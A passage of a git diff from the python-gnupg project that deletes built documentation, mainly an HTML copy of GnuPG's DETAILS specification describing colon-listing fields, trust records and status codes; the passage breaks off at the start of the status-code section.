,1,""],create_uid_email:[1,1,1,""],"_separate_keyword":[1,1,1,""]},gnupg:{"_parsers":[1,0,0,"-"],GPG:[1,5,1,""],"_meta":[1,0,0,"-"],"_util":[1,0,0,"-"]},"gnupg._parsers.ListPackets":{status:[1,4,1,""],"_handle_status":[1,3,1,""],need_passphrase:[1,4,1,""],userid_hint:[1,4,1,""],need_passphrase_sym:[1,4,1,""]},"gnupg._meta":{GPGMeta:[1,5,1,""],GPGBase:[1,5,1,""]},"gnupg._parsers.DeleteResult":{problem_reason:[1,4,1,""],"_handle_status":[1,3,1,""]},"gnupg._parsers.GenKey":{keyring:[1,4,1,""],"_handle_status":[1,3,1,""],type:[1,4,1,""],secring:[1,4,1,""]}},titleterms:{fork:1,about:1,sourc:0,thi:1,author:1,python:0,modul:1,previou:1,parser:1,indic:0,util:1,packag:[0,1],meta:1,gnupg:[0,1],tabl:0,report:0,document:[0,1],bug:0,licens:0}})
\ No newline at end of file diff --git a/docs/_build/python-gnupg-docs.zip b/docs/_build/python-gnupg-docs.zip Binary files differdeleted file mode 100644 index 7a62334..0000000 --- a/docs/_build/python-gnupg-docs.zip +++ /dev/null diff --git a/docs/_static/DETAILS.html b/docs/_static/DETAILS.html deleted file mode 100644 index 7b0b9f8..0000000 --- a/docs/_static/DETAILS.html +++ /dev/null @@ -1,2677 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> -<head> -<title>GnuPG Details</title> -<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> -<meta name="title" content="GnuPG Details"/> -<meta name="generator" content="Org-mode"/> -<meta name="generated" content="2013-07-03T09:52+0000"/> -<meta name="author" content="isis"/> -<meta name="description" content=""/> -<meta name="keywords" content=""/> -<style type="text/css"> - <!--/*--><![CDATA[/*><!--*/ - html { font-family: Times, serif; font-size: 12pt; } - .title { text-align: center; } - .todo { color: red; } - .done { color: green; } - .tag { background-color: #add8e6; font-weight:normal } - .target { } - .timestamp { color: #bebebe; } - .timestamp-kwd { color: #5f9ea0; } - .right {margin-left:auto; margin-right:0px; text-align:right;} - .left {margin-left:0px; margin-right:auto; text-align:left;} - .center {margin-left:auto; margin-right:auto; text-align:center;} - p.verse { margin-left: 3% } - pre { - border: 1pt solid #AEBDCC; - background-color: #F3F5F7; - padding: 5pt; - font-family: courier, monospace; - font-size: 90%; - overflow:auto; - } - table { border-collapse: collapse; } - td, th { vertical-align: top; } - th.right { text-align:center; } - th.left { text-align:center; } - th.center { text-align:center; } - td.right { text-align:right; } - td.left { text-align:left; } - td.center { text-align:center; } - dt { font-weight: bold; } - div.figure { padding: 0.5em; } - div.figure p { text-align: center; } - div.inlinetask { - padding:10px; - border:2px solid gray; - margin:10px; - background: #ffffcc; - } - textarea { overflow-x: auto; } - .linenr { font-size:smaller } - .code-highlighted {background-color:#ffff00;} - .org-info-js_info-navigation { border-style:none; } - #org-info-js_console-label { font-size:10px; font-weight:bold; - white-space:nowrap; } - .org-info-js_search-highlight {background-color:#ffff00; color:#000000; - font-weight:bold; } - /*]]>*/--> -</style> -<script type="text/javascript"> -/* -@licstart The following is the entire license notice for the -JavaScript code in this tag. - -Copyright (C) 2012 Free Software Foundation, Inc. - -The JavaScript code in this tag is free software: you can -redistribute it and/or modify it under the terms of the GNU -General Public License (GNU GPL) as published by the Free Software -Foundation, either version 3 of the License, or (at your option) -any later version. The code is distributed WITHOUT ANY WARRANTY; -without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU GPL for more details. - -As additional permission under GNU GPL version 3 section 7, you -may distribute non-source (e.g., minimized or compacted) forms of -that code without the copy of the GNU GPL normally required by -section 4, provided you include this license notice and a URL -through which recipients can access the Corresponding Source. - - -@licend The above is the entire license notice -for the JavaScript code in this tag. -*/ -<!--/*--><![CDATA[/*><!--*/ - function CodeHighlightOn(elem, id) - { - var target = document.getElementById(id); - if(null != target) { - elem.cacheClassElem = elem.className; - elem.cacheClassTarget = target.className; - target.className = "code-highlighted"; - elem.className = "code-highlighted"; - } - } - function CodeHighlightOff(elem, id) - { - var target = document.getElementById(id); - if(elem.cacheClassElem) - elem.className = elem.cacheClassElem; - if(elem.cacheClassTarget) - target.className = elem.cacheClassTarget; - } -/*]]>*///--> -</script> -<script type="text/css" href="./agogo.css" /> -</head> -<body> - -<div id="preamble"> - -</div> - -<div id="content"> -<h1 class="title">GnuPG Details</h1> - - -<p> -This is the DETAILS file for GnuPG which specifies some internals and -parts of the external API for GPG and GPGSM. -</p> - -<div id="table-of-contents"> -<h2>Table of Contents</h2> -<div id="text-table-of-contents"> -<ul> -<li><a href="#sec-1">1 Format of the colon listings</a> -<ul> -<li><a href="#sec-1-1">1.1 Description of the fields</a> -<ul> -<li><a href="#sec-1-1-1">1.1.1 Field 1 - Type of record</a></li> -<li><a href="#sec-1-1-2">1.1.2 Field 2 - Validity</a></li> -<li><a href="#sec-1-1-3">1.1.3 Field 3 - Key length</a></li> -<li><a href="#sec-1-1-4">1.1.4 Field 4 - Public key algorithm</a></li> -<li><a href="#sec-1-1-5">1.1.5 Field 5 - KeyID</a></li> -<li><a href="#sec-1-1-6">1.1.6 Field 6 - Creation date</a></li> -<li><a href="#sec-1-1-7">1.1.7 Field 7 - Expiration date</a></li> -<li><a href="#sec-1-1-8">1.1.8 Field 8 - Certificate S/N, UID hash, trust signature info</a></li> -<li><a href="#sec-1-1-9">1.1.9 Field 9 - Ownertrust</a></li> -<li><a href="#sec-1-1-10">1.1.10 Field 10 - User-ID</a></li> -<li><a href="#sec-1-1-11">1.1.11 Field 11 - Signature class</a></li> -<li><a href="#sec-1-1-12">1.1.12 Field 12 - Key capabilities</a></li> -<li><a href="#sec-1-1-13">1.1.13 Field 13 - Issuer certificate fingerprint or other info</a></li> -<li><a href="#sec-1-1-14">1.1.14 Field 14 - Flag field</a></li> -<li><a href="#sec-1-1-15">1.1.15 Field 15 - S/N of a token</a></li> -<li><a href="#sec-1-1-16">1.1.16 Field 16 - Hash algorithm</a></li> -</ul> -</li> -<li><a href="#sec-1-2">1.2 Special fields</a> -<ul> -<li><a href="#sec-1-2-1">1.2.1 PKD - Public key data</a></li> -<li><a href="#sec-1-2-2">1.2.2 TRU - Trust database information</a></li> -<li><a href="#sec-1-2-3">1.2.3 SPK - Signature subpacket records</a></li> -<li><a href="#sec-1-2-4">1.2.4 CFG - Configuration data</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-2">2 Format of the –status-fd output</a> -<ul> -<li><a href="#sec-2-1">2.1 General status codes</a> -<ul> -<li><a href="#sec-2-1-1">2.1.1 NEWSIG</a></li> -<li><a href="#sec-2-1-2">2.1.2 GOODSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-3">2.1.3 EXPSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-4">2.1.4 EXPKEYSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-5">2.1.5 REVKEYSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-6">2.1.6 BADSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-7">2.1.7 ERRSIG <keyid> <pkalgo> <hashalgo> <sig_class> <time> <rc></a></li> -<li><a href="#sec-2-1-8">2.1.8 VALIDSIG <args></a></li> -<li><a href="#sec-2-1-9">2.1.9 SIG_ID <radix64_string> <sig_creation_date> <sig-timestamp></a></li> -<li><a href="#sec-2-1-10">2.1.10 ENC_TO <long_keyid> <keytype> <keylength></a></li> -<li><a href="#sec-2-1-11">2.1.11 BEGIN_DECRYPTION</a></li> -<li><a href="#sec-2-1-12">2.1.12 END_DECRYPTION</a></li> -<li><a href="#sec-2-1-13">2.1.13 DECRYPTION_INFO <mdc_method> <sym_algo></a></li> -<li><a href="#sec-2-1-14">2.1.14 DECRYPTION_FAILED</a></li> -<li><a href="#sec-2-1-15">2.1.15 DECRYPTION_OKAY</a></li> -<li><a href="#sec-2-1-16">2.1.16 SESSION_KEY <algo>:<hexdigits></a></li> -<li><a href="#sec-2-1-17">2.1.17 BEGIN_ENCRYPTION <mdc_method> <sym_algo></a></li> -<li><a href="#sec-2-1-18">2.1.18 END_ENCRYPTION</a></li> -<li><a href="#sec-2-1-19">2.1.19 FILE_START <what> <filename></a></li> -<li><a href="#sec-2-1-20">2.1.20 FILE_DONE</a></li> -<li><a href="#sec-2-1-21">2.1.21 BEGIN_SIGNING</a></li> -<li><a href="#sec-2-1-22">2.1.22 ALREADY_SIGNED <long-keyid></a></li> -<li><a href="#sec-2-1-23">2.1.23 SIG_CREATED <type> <pk_algo> <hash_algo> <class> <timestamp> <keyfpr></a></li> -<li><a href="#sec-2-1-24">2.1.24 NOTATION_</a></li> -<li><a href="#sec-2-1-25">2.1.25 POLICY_URL <string></a></li> -<li><a href="#sec-2-1-26">2.1.26 PLAINTEXT <format> <timestamp> <filename></a></li> -<li><a href="#sec-2-1-27">2.1.27 PLAINTEXT_LENGTH <length></a></li> -<li><a href="#sec-2-1-28">2.1.28 ATTRIBUTE <arguments></a></li> -<li><a href="#sec-2-1-29">2.1.29 SIG_SUBPACKET <type> <flags> <len> <data></a></li> -</ul> -</li> -<li><a href="#sec-2-2">2.2 Key related</a> -<ul> -<li><a href="#sec-2-2-1">2.2.1 INV_RECP, INV_SGNR</a></li> -<li><a href="#sec-2-2-2">2.2.2 NO_RECP <reserved></a></li> -<li><a href="#sec-2-2-3">2.2.3 NO_SGNR <reserved></a></li> -<li><a href="#sec-2-2-4">2.2.4 KEYEXPIRED <expire-timestamp></a></li> -<li><a href="#sec-2-2-5">2.2.5 KEYREVOKED</a></li> -<li><a href="#sec-2-2-6">2.2.6 NO_PUBKEY <long keyid></a></li> -<li><a href="#sec-2-2-7">2.2.7 NO_SECKEY <long keyid></a></li> -<li><a href="#sec-2-2-8">2.2.8 KEY_CREATED <type> <fingerprint> [<handle>]</a></li> -<li><a href="#sec-2-2-9">2.2.9 KEY_NOT_CREATED [<handle>]</a></li> -<li><a href="#sec-2-2-10">2.2.10 TRUST_</a></li> -<li><a href="#sec-2-2-11">2.2.11 PKA_TRUST_</a></li> -</ul> -</li> -<li><a href="#sec-2-3">2.3 Remote control</a> -<ul> -<li><a href="#sec-2-3-1">2.3.1 GET_BOOL, GET_LINE, GET_HIDDEN, GOT_IT</a></li> -<li><a href="#sec-2-3-2">2.3.2 USERID_HINT <long main keyid> <string></a></li> -<li><a href="#sec-2-3-3">2.3.3 NEED_PASSPHRASE <long keyid> <long main keyid> <keytype> <keylength></a></li> -<li><a href="#sec-2-3-4">2.3.4 NEED_PASSPHRASE_SYM <cipher_algo> <s2k_mode> <s2k_hash></a></li> -<li><a href="#sec-2-3-5">2.3.5 NEED_PASSPHRASE_PIN <card_type> <chvno> [<serialno>]</a></li> -<li><a href="#sec-2-3-6">2.3.6 MISSING_PASSPHRASE</a></li> -<li><a href="#sec-2-3-7">2.3.7 BAD_PASSPHRASE <long keyid></a></li> -<li><a href="#sec-2-3-8">2.3.8 GOOD_PASSPHRASE</a></li> -</ul> -</li> -<li><a href="#sec-2-4">2.4 Import/Export</a> -<ul> -<li><a href="#sec-2-4-1">2.4.1 IMPORT_CHECK <long keyid> <fingerprint> <user ID></a></li> -<li><a href="#sec-2-4-2">2.4.2 IMPORTED <long keyid> <username></a></li> -<li><a href="#sec-2-4-3">2.4.3 IMPORT_OK <reason> [<fingerprint>]</a></li> -<li><a href="#sec-2-4-4">2.4.4 IMPORT_PROBLEM <reason> [<fingerprint>]</a></li> -<li><a href="#sec-2-4-5">2.4.5 IMPORT_RES <args></a></li> -</ul> -</li> -<li><a href="#sec-2-5">2.5 Smartcard related</a> -<ul> -<li><a href="#sec-2-5-1">2.5.1 CARDCTRL <what> [<serialno>]</a></li> -<li><a href="#sec-2-5-2">2.5.2 SC_OP_FAILURE [<code>]</a></li> -<li><a href="#sec-2-5-3">2.5.3 SC_OP_SUCCESS</a></li> -</ul> -</li> -<li><a href="#sec-2-6">2.6 Miscellaneous status codes</a> -<ul> -<li><a href="#sec-2-6-1">2.6.1 NODATA <what></a></li> -<li><a href="#sec-2-6-2">2.6.2 UNEXPECTED <what></a></li> -<li><a href="#sec-2-6-3">2.6.3 TRUNCATED <maxno></a></li> -<li><a href="#sec-2-6-4">2.6.4 ERROR <error location> <error code> [<more>]</a></li> -<li><a href="#sec-2-6-5">2.6.5 SUCCESS [<location>]</a></li> -<li><a href="#sec-2-6-6">2.6.6 BADARMOR</a></li> -<li><a href="#sec-2-6-7">2.6.7 DELETE_PROBLEM <reason_code></a></li> -<li><a href="#sec-2-6-8">2.6.8 PROGRESS <what> <char> <cur> <total></a></li> -<li><a href="#sec-2-6-9">2.6.9 BACKUP_KEY_CREATED <fingerprint> <fname></a></li> -<li><a href="#sec-2-6-10">2.6.10 MOUNTPOINT <name></a></li> -<li><a href="#sec-2-6-11">2.6.11 PINENTRY_LAUNCHED <pid></a></li> -</ul> -</li> -<li><a href="#sec-2-7">2.7 Obsolete status codes</a> -<ul> -<li><a href="#sec-2-7-1">2.7.1 SIGEXPIRED</a></li> -<li><a href="#sec-2-7-2">2.7.2 RSA_OR_IDEA</a></li> -<li><a href="#sec-2-7-3">2.7.3 SHM_INFO, SHM_GET, SHM_GET_BOOL, SHM_GET_HIDDEN</a></li> -<li><a href="#sec-2-7-4">2.7.4 BEGIN_STREAM, END_STREAM</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-3">3 Format of the –attribute-fd output</a></li> -<li><a href="#sec-4">4 Unattended key generation</a></li> -<li><a href="#sec-5">5 Layout of the TrustDB</a></li> -<li><a href="#sec-6">6 GNU extensions to the S2K algorithm</a></li> -<li><a href="#sec-7">7 Keyserver helper message format</a></li> -<li><a href="#sec-8">8 Object identifiers</a></li> -<li><a href="#sec-9">9 Miscellaneous notes</a> -<ul> -<li><a href="#sec-9-1">9.1 v3 fingerprints</a></li> -<li><a href="#sec-9-2">9.2 Simplified revocation certificates</a></li> -<li><a href="#sec-9-3">9.3 Documentation on HKP (the http keyserver protocol):</a></li> -</ul> -</li> -</ul> -</div> -</div> - -<div id="outline-container-1" class="outline-2"> -<h2 id="sec-1"><span class="section-number-2">1</span> Format of the colon listings</h2> -<div class="outline-text-2" id="text-1"> - -<p> The format is a based on colon separated record, each recods starts - with a tag string and extends to the end of the line. Here is an - example: -</p> - - -<pre class="example">$ gpg --with-colons --list-keys \ - --with-fingerprint --with-fingerprint wk@gnupg.org -pub:f:1024:17:6C7EE1B8621CC013:899817715:1055898235::m:::scESC: -fpr:::::::::ECAF7590EB3443B5C7CF3ACB6C7EE1B8621CC013: -uid:f::::::::Werner Koch <wk@g10code.com>: -uid:f::::::::Werner Koch <wk@gnupg.org>: -sub:f:1536:16:06AD222CADF6A6E1:919537416:1036177416:::::e: -fpr:::::::::CF8BCC4B18DE08FCD8A1615906AD222CADF6A6E1: -sub:r:1536:20:5CE086B5B5A18FF4:899817788:1025961788:::::esc: -fpr:::::::::AB059359A3B81F410FCFF97F5CE086B5B5A18FF4: -</pre> - - -<p> -The double <code>--with-fingerprint</code> prints the fingerprint for the subkeys -too. Old versions of gpg used a lighly different format and required -the use of the option <code>--fixed-list-mode</code> to conform to format -described here. -</p> - -</div> - -<div id="outline-container-1-1" class="outline-3"> -<h3 id="sec-1-1"><span class="section-number-3">1.1</span> Description of the fields</h3> -<div class="outline-text-3" id="text-1-1"> - - -</div> - -<div id="outline-container-1-1-1" class="outline-4"> -<h4 id="sec-1-1-1"><span class="section-number-4">1.1.1</span> Field 1 - Type of record</h4> -<div class="outline-text-4" id="text-1-1-1"> - - -<dl> -<dt>pub</dt><dd>Public key -</dd> -<dt>crt</dt><dd>X.509 certificate -</dd> -<dt>crs</dt><dd>X.509 certificate and private key available -</dd> -<dt>sub</dt><dd>Subkey (secondary key) -</dd> -<dt>sec</dt><dd>Secret key -</dd> -<dt>ssb</dt><dd>Secret subkey (secondary key) -</dd> -<dt>uid</dt><dd>User id (only field 10 is used). -</dd> -<dt>uat</dt><dd>User attribute (same as user id except for field 10). -</dd> -<dt>sig</dt><dd>Signature -</dd> -<dt>rev</dt><dd>Revocation signature -</dd> -<dt>fpr</dt><dd>Fingerprint (fingerprint is in field 10) -</dd> -<dt>pkd</dt><dd>Public key data [*] -</dd> -<dt>grp</dt><dd>Keygrip -</dd> -<dt>rvk</dt><dd>Revocation key -</dd> -<dt>tru</dt><dd>Trust database information [*] -</dd> -<dt>spk</dt><dd>Signature subpacket [*] -</dd> -<dt>cfg</dt><dd>Configuration data [*] -</dd> -</dl> - - -<p> - Records marked with an asterisk are described at <a href="#Special-field-formats">*Special fields</a>. -</p> -</div> - -</div> - -<div id="outline-container-1-1-2" class="outline-4"> -<h4 id="sec-1-1-2"><span class="section-number-4">1.1.2</span> Field 2 - Validity</h4> -<div class="outline-text-4" id="text-1-1-2"> - - -<p> - This is a letter describing the computed validity of a key. - Currently this is a single letter, but be prepared that additional - information may follow in some future versions. Note that GnuPG < - 2.1 does not set this field for secret key listings. -</p> -<dl> -<dt>o</dt><dd>Unknown (this key is new to the system) -</dd> -<dt>i</dt><dd>The key is invalid (e.g. due to a missing self-signature) -</dd> -<dt>d</dt><dd>The key has been disabled - (deprecated - use the 'D' in field 12 instead) -</dd> -<dt>r</dt><dd>The key has been revoked -</dd> -<dt>e</dt><dd>The key has expired -</dd> -<dt>-</dt><dd>Unknown validity (i.e. no value assigned) -</dd> -<dt>q</dt><dd>Undefined validity. '-' and 'q' may safely be treated as - the same value for most purposes -</dd> -<dt>n</dt><dd>The key is not valid -</dd> -<dt>m</dt><dd>The key is marginal valid. -</dd> -<dt>f</dt><dd>The key is fully valid -</dd> -<dt>u</dt><dd>The key is ultimately valid. This often means that the - secret key is available, but any key may be marked as - ultimately valid. -</dd> -<dt>w</dt><dd>The key has a well known private part. -</dd> -<dt>s</dt><dd>The key has special validity. This means that it might be - self-signed and expected to be used in the STEED sytem. -</dd> -</dl> - - -<p> - If the validity information is given for a UID or UAT record, it - describes the validity calculated based on this user ID. If given - for a key record it describes the validity taken from the best - rated user ID. -</p> -<p> - For X.509 certificates a 'u' is used for a trusted root - certificate (i.e. for the trust anchor) and an 'f' for all other - valid certificates. -</p> -</div> - -</div> - -<div id="outline-container-1-1-3" class="outline-4"> -<h4 id="sec-1-1-3"><span class="section-number-4">1.1.3</span> Field 3 - Key length</h4> -<div class="outline-text-4" id="text-1-1-3"> - - -<p> - The length of key in bits. -</p> -</div> - -</div> - -<div id="outline-container-1-1-4" class="outline-4"> -<h4 id="sec-1-1-4"><span class="section-number-4">1.1.4</span> Field 4 - Public key algorithm</h4> -<div class="outline-text-4" id="text-1-1-4"> - - -<p> - The values here are those from the OpenPGP specs or if they are - greather than 255 the algorithm ids as used by Libgcrypt. -</p> -</div> - -</div> - -<div id="outline-container-1-1-5" class="outline-4"> -<h4 id="sec-1-1-5"><span class="section-number-4">1.1.5</span> Field 5 - KeyID</h4> -<div class="outline-text-4" id="text-1-1-5"> - - -<p> - This is the 64 bit keyid as specified by OpenPGP and the last 64 - bit of the SHA-1 fingerprint of an X.509 certifciate. -</p> -</div> - -</div> - -<div id="outline-container-1-1-6" class="outline-4"> -<h4 id="sec-1-1-6"><span class="section-number-4">1.1.6</span> Field 6 - Creation date</h4> -<div class="outline-text-4" id="text-1-1-6"> - - -<p> - The creation date of the key is given in UTC. For UID and UAT - records, this is used for the self-signature date. Note that the - date is usally printed in seconds since epoch, however, we are - migrating to an ISO 8601 format (e.g. "19660205T091500"). This is - currently only relevant for X.509. A simple way to detect the new - format is to scan for the 'T'. Note that old versions of gpg - without using the <code>--fixed-list-mode</code> option used a "yyyy-mm-tt" - format. -</p> -</div> - -</div> - -<div id="outline-container-1-1-7" class="outline-4"> -<h4 id="sec-1-1-7"><span class="section-number-4">1.1.7</span> Field 7 - Expiration date</h4> -<div class="outline-text-4" id="text-1-1-7"> - - -<p> - Key or UID/UAT expiration date or empty if it does not expire. -</p> -</div> - -</div> - -<div id="outline-container-1-1-8" class="outline-4"> -<h4 id="sec-1-1-8"><span class="section-number-4">1.1.8</span> Field 8 - Certificate S/N, UID hash, trust signature info</h4> -<div class="outline-text-4" id="text-1-1-8"> - - -<p> - Used for serial number in crt records. For UID and UAT records, - this is a hash of the user ID contents used to represent that - exact user ID. For trust signatures, this is the trust depth - seperated by the trust value by a space. -</p> -</div> - -</div> - -<div id="outline-container-1-1-9" class="outline-4"> -<h4 id="sec-1-1-9"><span class="section-number-4">1.1.9</span> Field 9 - Ownertrust</h4> -<div class="outline-text-4" id="text-1-1-9"> - - -<p> - This is only used on primary keys. This is a single letter, but - be prepared that additional information may follow in future - versions. For trust signatures with a regular expression, this is - the regular expression value, quoted as in field 10. -</p> -</div> - -</div> - -<div id="outline-container-1-1-10" class="outline-4"> -<h4 id="sec-1-1-10"><span class="section-number-4">1.1.10</span> Field 10 - User-ID</h4> -<div class="outline-text-4" id="text-1-1-10"> - -<p> The value is quoted like a C string to avoid control characters - (the colon is quoted <code>\x3a</code>). For a "pub" record this field is - not used on –fixed-list-mode. A UAT record puts the attribute - subpacket count here, a space, and then the total attribute - subpacket size. In gpgsm the issuer name comes here. A FPR - record stores the fingerprint here. The fingerprint of a - revocation key is stored here. -</p></div> - -</div> - -<div id="outline-container-1-1-11" class="outline-4"> -<h4 id="sec-1-1-11"><span class="section-number-4">1.1.11</span> Field 11 - Signature class</h4> -<div class="outline-text-4" id="text-1-1-11"> - - -<p> - Signature class as per RFC-4880. This is a 2 digit hexnumber - followed by either the letter 'x' for an exportable signature or - the letter 'l' for a local-only signature. The class byte of an - revocation key is also given here, 'x' and 'l' is used the same - way. This field if not used for X.509. -</p> -</div> - -</div> - -<div id="outline-container-1-1-12" class="outline-4"> -<h4 id="sec-1-1-12"><span class="section-number-4">1.1.12</span> Field 12 - Key capabilities</h4> -<div class="outline-text-4" id="text-1-1-12"> - - -<p> - The defined capabilities are: -</p> -<dl> -<dt>e</dt><dd>Encrypt -</dd> -<dt>s</dt><dd>Sign -</dd> -<dt>c</dt><dd>Certify -</dd> -<dt>a</dt><dd>Authentication -</dd> -<dt>?</dt><dd>Unknown capability -</dd> -</dl> - - -<p> - A key may have any combination of them in any order. In addition - to these letters, the primary key has uppercase versions of the - letters to denote the <span style="text-decoration:underline;">usable</span> capabilities of the entire key, and - a potential letter 'D' to indicate a disabled key. -</p> -</div> - -</div> - -<div id="outline-container-1-1-13" class="outline-4"> -<h4 id="sec-1-1-13"><span class="section-number-4">1.1.13</span> Field 13 - Issuer certificate fingerprint or other info</h4> -<div class="outline-text-4" id="text-1-1-13"> - - -<p> - Used in FPR records for S/MIME keys to store the fingerprint of - the issuer certificate. This is useful to build the certificate - path based on certificates stored in the local key database it is - only filled if the issuer certificate is available. The root has - been reached if this is the same string as the fingerprint. The - advantage of using this value is that it is guaranteed to have - been been build by the same lookup algorithm as gpgsm uses. -</p> -<p> - For "uid" records this field lists the preferences in the same way - gpg's –edit-key menu does. -</p> -<p> - For "sig" records, this is the fingerprint of the key that issued - the signature. Note that this is only filled in if the signature - verified correctly. Note also that for various technical reasons, - this fingerprint is only available if –no-sig-cache is used. -</p> -</div> - -</div> - -<div id="outline-container-1-1-14" class="outline-4"> -<h4 id="sec-1-1-14"><span class="section-number-4">1.1.14</span> Field 14 - Flag field</h4> -<div class="outline-text-4" id="text-1-1-14"> - - -<p> - Flag field used in the –edit menu output -</p> -</div> - -</div> - -<div id="outline-container-1-1-15" class="outline-4"> -<h4 id="sec-1-1-15"><span class="section-number-4">1.1.15</span> Field 15 - S/N of a token</h4> -<div class="outline-text-4" id="text-1-1-15"> - - -<p> - Used in sec/sbb to print the serial number of a token (internal - protect mode 1002) or a '#' if that key is a simple stub (internal - protect mode 1001) -</p> -</div> - -</div> - -<div id="outline-container-1-1-16" class="outline-4"> -<h4 id="sec-1-1-16"><span class="section-number-4">1.1.16</span> Field 16 - Hash algorithm</h4> -<div class="outline-text-4" id="text-1-1-16"> - - -<p> - For sig records, this is the used hash algorithm. For example: - 2 = SHA-1, 8 = SHA-256. -</p> -</div> -</div> - -</div> - -<div id="outline-container-1-2" class="outline-3"> -<h3 id="sec-1-2"><span class="section-number-3">1.2</span> Special fields</h3> -<div class="outline-text-3" id="text-1-2"> - - - -</div> - -<div id="outline-container-1-2-1" class="outline-4"> -<h4 id="sec-1-2-1"><span class="section-number-4">1.2.1</span> PKD - Public key data</h4> -<div class="outline-text-4" id="text-1-2-1"> - - -<p> - If field 1 has the tag "pkd", a listing looks like this: -</p> - - -<pre class="example">pkd:0:1024:B665B1435F4C2 .... FF26ABB: - ! ! !-- the value - ! !------ for information number of bits in the value - !--------- index (eg. DSA goes from 0 to 3: p,q,g,y) -</pre> - - -</div> - -</div> - -<div id="outline-container-1-2-2" class="outline-4"> -<h4 id="sec-1-2-2"><span class="section-number-4">1.2.2</span> TRU - Trust database information</h4> -<div class="outline-text-4" id="text-1-2-2"> - -<p> Example for a "tru" trust base record: -</p> - - -<pre class="example">tru:o:0:1166697654:1:3:1:5 -</pre> - - -<dl> -<dt>Field 2</dt><dd>Reason for staleness of trust. If this field is - empty, then the trustdb is not stale. This field may - have multiple flags in it: - -<dl> -<dt>o</dt><dd>Trustdb is old -</dd> -<dt>t</dt><dd>Trustdb was built with a different trust model - than the one we are using now. - -</dd> -</dl> - -</dd> -<dt>Field 3</dt><dd>Trust model - -<dl> -<dt>0</dt><dd>Classic trust model, as used in PGP 2.x. -</dd> -<dt>1</dt><dd>PGP trust model, as used in PGP 6 and later. - This is the same as the classic trust model, - except for the addition of trust signatures. - -</dd> -</dl> - -<p> GnuPG before version 1.4 used the classic trust model - by default. GnuPG 1.4 and later uses the PGP trust - model by default. -</p> -</dd> -<dt>Field 4</dt><dd>Date trustdb was created in seconds since Epoch. -</dd> -<dt>Field 5</dt><dd>Date trustdb will expire in seconds since Epoch. -</dd> -<dt>Field 6</dt><dd>Number of marginally trusted users to introduce a new - key signer (gpg's option –marginals-needed). -</dd> -<dt>Field 7</dt><dd>Number of completely trusted users to introduce a new - key signer. (gpg's option –completes-needed) - -</dd> -<dt>Field 8</dt><dd>Maximum depth of a certification chain. (gpg's option - –max-cert-depth) -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-1-2-3" class="outline-4"> -<h4 id="sec-1-2-3"><span class="section-number-4">1.2.3</span> SPK - Signature subpacket records</h4> -<div class="outline-text-4" id="text-1-2-3"> - - -<dl> -<dt>Field 2</dt><dd>Subpacket number as per RFC-4880 and later. -</dd> -<dt>Field 3</dt><dd>Flags in hex. Currently the only two bits assigned - are 1, to indicate that the subpacket came from the - hashed part of the signature, and 2, to indicate the - subpacket was marked critical. -</dd> -<dt>Field 4</dt><dd>Length of the subpacket. Note that this is the - length of the subpacket, and not the length of field - 5 below. Due to the need for %-encoding, the length - of field 5 may be up to 3x this value. -</dd> -<dt>Field 5</dt><dd>The subpacket data. Printable ASCII is shown as - ASCII, but other values are rendered as %XX where XX - is the hex value for the byte. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-1-2-4" class="outline-4"> -<h4 id="sec-1-2-4"><span class="section-number-4">1.2.4</span> CFG - Configuration data</h4> -<div class="outline-text-4" id="text-1-2-4"> - - -<p> - –list-config outputs information about the GnuPG configuration - for the benefit of frontends or other programs that call GnuPG. - There are several list-config items, all colon delimited like the - rest of the –with-colons output. The first field is always "cfg" - to indicate configuration information. The second field is one of - (with examples): -</p> -<dl> -<dt>version</dt><dd>The third field contains the version of GnuPG. - -<pre class="example"> -cfg:version:1.3.5 -</pre> - - -</dd> -<dt>pubkey</dt><dd>The third field contains the public key algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified in - RFC-4880. Note that in contrast to the –status-fd - interface these are <span style="text-decoration:underline;">not</span> the Libgcrypt identifiers. - -<pre class="example"> -cfg:pubkey:1;2;3;16;17 -</pre> - - -</dd> -<dt>cipher</dt><dd>The third field contains the symmetric ciphers this - version of GnuPG supports, separated by semicolons. - The cipher numbers are as specified in RFC-4880. - -<pre class="example"> -cfg:cipher:2;3;4;7;8;9;10 -</pre> - - -</dd> -<dt>digest</dt><dd>The third field contains the digest (hash) algorithms - this version of GnuPG supports, separated by - semicolons. The digest numbers are as specified in - RFC-4880. - -<pre class="example"> -cfg:digest:1;2;3;8;9;10 -</pre> - - -</dd> -<dt>compress</dt><dd>The third field contains the compression algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified - in RFC-4880. - -<pre class="example"> -cfg:compress:0;1;2;3 -</pre> - - -</dd> -<dt>group</dt><dd>The third field contains the name of the group, and the - fourth field contains the values that the group expands - to, separated by semicolons. - -<p> - For example, a group of: -</p><pre class="example"> -group mynames = paige 0x12345678 joe patti -</pre> - -<p> would result in: -</p><pre class="example"> -cfg:group:mynames:patti;joe;0x12345678;paige -</pre> - -</dd> -</dl> - - - -</div> -</div> -</div> - -</div> - -<div id="outline-container-2" class="outline-2"> -<h2 id="sec-2"><span class="section-number-2">2</span> Format of the –status-fd output</h2> -<div class="outline-text-2" id="text-2"> - - -<p> - Every line is prefixed with "[GNUPG:] ", followed by a keyword with - the type of the status line and some arguments depending on the type - (maybe none); an application should always be prepared to see more - arguments in future versions. -</p> - -</div> - -<div id="outline-container-2-1" class="outline-3"> -<h3 id="sec-2-1"><span class="section-number-3">2.1</span> General status codes</h3> -<div class="outline-text-3" id="text-2-1"> - - -</div> - -<div id="outline-container-2-1-1" class="outline-4"> -<h4 